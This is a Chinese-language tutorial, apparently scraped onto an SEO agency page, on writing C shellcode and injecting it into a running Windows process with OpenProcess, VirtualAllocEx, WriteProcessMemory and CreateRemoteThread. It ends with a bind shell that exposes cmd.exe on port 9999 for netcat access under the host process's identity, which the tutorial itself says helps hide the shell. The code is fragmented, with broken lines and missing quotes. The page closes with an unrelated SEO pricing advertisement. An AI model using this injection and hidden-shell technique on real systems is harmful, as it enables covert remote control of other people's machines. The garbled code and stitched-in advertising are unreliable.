96SEO 2026-02-19 11:55 18
ShellCode以及如何将ShellCode注入到特定进程内本章我们将自己实现一个正向ShellCodeShell当进程被注入后则我们可以通过利用NC等工具连接到被注入进程内并以对方的权限及身份执行命令该功能有利于于Shell的隐藏。

本章的内容其原理与《运用C语言编写ShellCode代码》中所使用的原理保持一致通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell本章节内容对Metasploit工具生成的Shell原理的理解能够起到促进作用。
读者需要理解套接字socket是计算机网络中一种特殊的文件是网络通信中的一种技术用于实现进程之间的通信和网络中数据的传输。
在网络通信中套接字就像一条传送数据的管道负责数据的传输和接收。
而socket套接字是在网络通信中最常用的一种通信协议它定义了一组用于网络通信的API。
通过使用socket程序员可以在不同的计算机之间进行通信。
读者可以将两者理解为一个意思。
为了能让读者更清晰的认识功能实现细节首先笔者先来实现一个简单的读取特定模块内函数的入口地址并输出该模块地址的功能需要注意的是在之前的文章中笔者已经介绍了这种读取技术当时使用的是汇编版实现由于需要自定位代码的支持导致汇编语言的实现过于繁琐其实此类代码在应用层实现仅仅只需要调用GetProcAddress()即可获取到核心参数其实先细节如下所示
KernelLoadLibrary;GETPROCADDRESS
LoadLibrary(kernel32.dll);Param.KernelLoadLibrary
(LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle,
LoadLibraryA);Param.KernelGetProcAddress
(GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle,
GetProcAddress);printf(获取到Kernel32.dll
Param.KernelHandle);system(pause);return
}这段代码主要是定义了一个结构体ShellParametros并初始化了其中的一些参数。
该结构体中定义了两个HANDLE类型的变量KernelHandle和UserHandle分别用于存储kernel32.dll和user32.dll的句柄。
同时也定义了两个字符串数组kernelstring和userstring用于存储对应的库名。
接下来定义了两个函数指针类型LOADLIBRARY和GETPROCADDRESS分别用于后续的动态库加载和函数导出操作。
在main函数中首先初始化了ShellParametros结构体类型的变量Param。
然后调用LoadLibrary函数加载kernel32.dll库并通过GetProcAddress函数分别获取LoadLibraryA和GetProcAddress函数的地址并将它们赋值给Param.KernelLoadLibrary和Param.KernelGetProcAddress函数指针变量。
最终打印出获取到的kernel32.dll的基地址以及等待用户按下任意键退出程序。
该代码拆分来看首先是入口处的结构体定义部分这部分定义了一个结构体ShellParametros其中包含了对于kernel32.dll和user32.dll库的操作的句柄和字符串以及相关的函数指针类型LOADLIBRARY和GETPROCADDRESS。
KernelLoadLibrary;GETPROCADDRESS
}ShellParametros;而在主函数中首先声明了一个结构体变量Param然后调用LoadLibrary函数加载kernel32.dll库将得到的句柄存储到Param.KernelHandle中。
接着通过调用GetProcAddress函数获取LoadLibraryA和GetProcAddress函数的地址将得到的函数地址分别存储到Param.KernelLoadLibrary和Param.KernelGetProcAddress中。
最后通过printf函数打印出获取到的Kernel32.dll的基址。
LoadLibrary(kernel32.dll);Param.KernelLoadLibrary
(LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle,
LoadLibraryA);Param.KernelGetProcAddress
(GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle,
GetProcAddress);printf(获取到Kernel32.dll
Param.KernelHandle);printf(获取到KernelLoadLibrary
Param.KernelLoadLibrary);printf(获取到GetProcAddress
Param.KernelGetProcAddress);system(pause);return
}这段代码没有任何难度相信读者能够理解其实先的核心原理当读者运行此段代码则会分别输出Kernel32.dllLoadLibraryA及GetProcAddress这三个模块函数的基址输出效果如下图所示
通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中并运行输出一个弹窗该功能的输出形式与前几章中的内容很相似但却有本质的不同首先前几章内容中我们注入的数据为纯粹的ShellCode代码此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数而本章实现的注入技术则是动态填充内存并注入从实用价值上来说本章中所演示的注入技术将更加通用及灵活。
动态弹窗的注入技术同样需要定义关键函数指针如下将分别定义三个函数指针这些API函数的函数指针类型定义
LOADLIBRARYLoadLibrary函数的函数指针类型用于将动态链接库(DLL)加载到调用进程的地址空间中。
GETPROCADDRESSGetProcAddress函数的函数指针类型用于从DLL中检索导出函数或变量的地址。
MESSAGEBOXMessageBox函数的函数指针类型用于创建、显示和操作消息框。
WINAPI调用约定指定了如何传递函数参数和清理堆栈。
这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。
通过使用这些函数指针程序可以在运行时获取函数地址并动态调用它们。
uType);接着我们需要定义一个ShellParametros结构体该结构体的作用是用与传递参数到子线程MyShell(ShellParametros*
ptr)中以供其使用当然读者也可以使用普通变量形式只是普通变量在参数传递时没有传递结构方便快捷如下从结构中可看出我们分别传递kernel32.dll,LoadLibrary,GetProcAddress及MessageBoxA的函数地址并附带有该函数弹窗User_MsgBox的提示信息
Kernel_LoadLibrary;GETPROCADDRESS
Text[32];}ShellParametros;接着就是关于__stdcall
MyShell(ShellParametros*);函数的封装这是一个用于远程线程的函数定义函数名为MyShell采用__stdcall调用约定。
该函数的参数是一个名为ptr的指向ShellParametros结构体的指针。
1.通过调用ptr-Kernel_LoadLibrary函数动态加载指定的Kernel32和User32库并将它们的句柄保存在ptr-Kernel32Base和ptr-User32Base变量中。
1.使用
该函数的作用是在远程线程中动态加载Kernel32和User32库并调用User32库中的MessageBox函数显示指定的文本内容。
(HANDLE)(*ptr-Kernel_LoadLibrary)(ptr-KernelString);ptr-User32Base
(HANDLE)(*ptr-Kernel_LoadLibrary)(ptr-UserString);//
(MESSAGEBOX)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-UserHandle,
(MESSAGEBOX)(*ptr-Kernel_GetProcAddress)((HINSTANCE)ptr-User32Base,
ptr-User_MsgBox);//printf(MessageBox
}最后我们来看一下在主函数中我们需要做什么在主函数中通过GetProcAddress函数分别得到我们所需要的函数入口地址并通过调用strcpy函数分别将所需参数写出到ShellParametros结构体中保存当一切准备就绪再通过OpenProcess打开远程进程并设置一段读写执行内存空间并调用WriteProcessMemory将MyShell函数写出到该内存中保存最后调用CreateRemoteThread开辟远程线程执行弹窗功能
1.定义了一个ShellParametros类型的变量Param和一个指向ShellParametros结构体的指针remote并声明了一个HANDLE类型的变量hProcess和一个void*类型的变量p。
2.使用LoadLibrary和GetProcAddress函数获取Kernel32库中的LoadLibrary和GetProcAddress函数的地址并将其保存到Param结构体的相应字段中。
3.分别将
结构体的相应字段中并将需要注入的代码函数名和文本字符串分别保存到
LoadLibrary(kernel32.dll);Param.Kernel_LoadLibrary
(LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base,
LoadLibraryA);Param.Kernel_GetProcAddress
(GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base,
分别获取Kernel32与User32的对应字符串strcpy(Param.KernelString,
kernel32.dll);strcpy(Param.UserString,
user32.dll);strcpy(Param.User_MsgBox,
MessageBoxA);strcpy(Param.Text,
OpenProcess(PROCESS_ALL_ACCESS,
(ShellParametros*)VirtualAllocEx(hProcess,
PAGE_READWRITE);WriteProcessMemory(hProcess,
0);WriteProcessMemory(hProcess,
0);CreateRemoteThread(hProcess,
}至此读者可以将上述代码编译下来但需要注意的是由于我们采用了动态生成ShellCode的功能所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制否则由于地址的动态变化我们的代码将无法成功定位函数入口也就无法注入Shell
Prevention保护是一种防止攻击者在内存中执行恶意代码的技术。
它通过将内存中的数据和代码区分开来从而使得攻击者无法在数据区执行代码。
DEP保护通过硬件和软件两种方式来实现。
硬件实现通过CPU硬件中的NX位禁止在数据区执行代码。
软件实现通过操作系统内核检查每个进程中的内存页面的属性禁止在非执行属性NX页面上执行代码。
Randomization是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。
它通过在每次程序运行时随机地分配内存地址使得攻击者难以确定内存地址的位置从而难以实现攻击。
ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。
这两种技术都可以增强操作系统的安全性防止恶意代码的攻击和利用。
DEP保护主要针对代码执行方面ASLR则主要针对代码和数据在内存中的分布方面。
同时两者也有一些弱点和缺陷例如DEP保护可以被一些攻击技术绕过ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。
因此在实际应用中需要综合考虑多种安全技术以提高系统的安全性。
ProcessID并改为被注入进程的PID4016然后直接运行注入程序则读者会看到被注入进程弹出了一个MessageBox提示框则说名我们的自定义Shell已经注入成功并运行了
经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode注入软件了但是上述提到的这些功能并不具备真正的意义而本章将继续延申并实现一种可被连接的正向ShellShell在此案例中读者需要理解一种绑定技术在默认情况下Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道而cmd.exe进程同样存在这三种管道要实现正向Shell一般而言攻击者会创建一个监听指定端口的网络套接字并将其绑定到一个命令行解释器如
cmd.exe的标准输入和输出流上这样攻击者即可通过这个管道来使用远程的CMD命令行并以此达到控制对方的目的。
创建一个监听套接字以便在客户端连接之前等待连接。
监听套接字可以是TCP或UDP类型。
调用bind()函数将监听套接字绑定到本地IP地址和端口上。
这是让客户端知道要连接哪个地址和端口的关键步骤。
调用listen()函数将监听套接字转换为被动套接字并设置等待连接的队列的最大长度。
调用accept()函数来接受客户端连接这将创建一个新的套接字它与客户端套接字相关联。
调用CreateProcess()函数启动cmd.exe进程并将标准输入、输出和错误流重定向到新创建的套接字上。
首先我们需要定义所需要调用的函数指针下方代码定义了一组函数指针每个函数指针都指向一个API函数包括
LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect
CreateProcess。
这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。
LPPROCESS_INFORMATION);接着我们需要在原始ShellParametros中进行扩充根据所需函数的多少来定义承载该函数内存地址的指针类型
KernelLoadLibrary;GETPROCADDRESS
KernelGetProcAddress;CREATEPROCESS
PARAMETROS;接着再来看核心MyShellShell实现函数如下代码实现了一个远程Shell通过动态链接库实现对API函数的调用。
WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。
函数创建一个进程并将标准输入、输出和错误重定向到网络套接字实现远程
通过GetProcAddress获取到ws2.dll中的所有函数地址ptr-WSAHandle
(HANDLE)(*ptr-KernelLoadLibrary)(ptr-wsastring);ptr-ShellWsaStartup
(WSASTARTUP)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,
ptr-wsastartupstring);ptr-ShellWSASocket
(WSASOCKET)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,
ptr-WSASocketString);ptr-ShellWsaConnect
(WSACONNECT)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,
ptr-WSAConnectstring);ptr-ShellBind
(BIND)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,
ptr-bindstring);ptr-ShellAccept
(ACCEPT)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,
ptr-acceptstring);ptr-ShellListen
(LISTEN)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-WSAHandle,
通过GetProcAddress获取到kernel32.dll中的所有函数地址ptr-KernelHandle
(HANDLE)(*ptr-KernelLoadLibrary)(ptr-kernelstring);ptr-KernelCreateProcess
(CREATEPROCESS)(*ptr-KernelGetProcAddress)((HINSTANCE)ptr-KernelHandle,
ptr-CreateProcessstring);ptr-ShellWsaStartup(0x101,
NULL;ptr-KernelCreateProcess(NULL,
}最后再来看一下实现调用的主函数代码中通过argv[1]也就是命令行参数传递并绑定到(unsigned
short)9999端口上通过GetProcAddress依次获取所需函数内存地址并使用strcpy初始化结构体PARAMETROS最后直接调用CreateRemoteThread实现线程Shell反弹。
atoi(argv[1]);memset((void*)parametros,
sizeof(PARAMETROS));strncpy(parametros.cmd,
获取到动态链接库加载函数地址parametros.KernelHandle
LoadLibrary(kernel32.dll);parametros.KernelLoadLibrary
(LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle,
LoadLibraryA);parametros.KernelGetProcAddress
(GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle,
字符串strcpy(parametros.wsastring,
ws2_32.dll);strcpy(parametros.wsastartupstring,
WSAStartup);strcpy(parametros.WSASocketString,
WSASocketW);strcpy(parametros.WSAConnectstring,
WSAConnect);strcpy(parametros.bindstring,
bind);strcpy(parametros.acceptstring,
accept);strcpy(parametros.listenstring,
字符串strcpy(parametros.kernelstring,
kernel32.dll);strcpy(parametros.CreateProcessstring,
OpenProcess(PROCESS_ALL_ACCESS,
(PARAMETROS*)VirtualAllocEx(hProcess,
PAGE_READWRITE);WriteProcessMemory(hProcess,
0);WriteProcessMemory(hProcess,
0);CreateRemoteThread(hProcess,
}编译上述代码片段并找到对应进程PID通过参数MyShell.exe
8624传入被注入进程PID号当注入成功后会提示进程请求联网此时一个不具备网络通信功能的进程因我们注入了ShllShell则自然就具备了网络通信的能力如下图所示
小提示Netcat是一款网络工具也称为nc工具可以在不同的计算机之间进行数据传输。
它可以在命令行中使用并支持TCP/IP和UDP协议其被誉为黑客界的瑞士军刀是每个安全从业者不可或缺的利器。
官方网站https://eternallybored.org/misc/netcat/
当连接到进程内部则会反弹一个CMDShell此时在该CMD下的所有操作都会被标记为宿主进程的操作。
https://www.lyshark.com/post/3e10758e.html
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback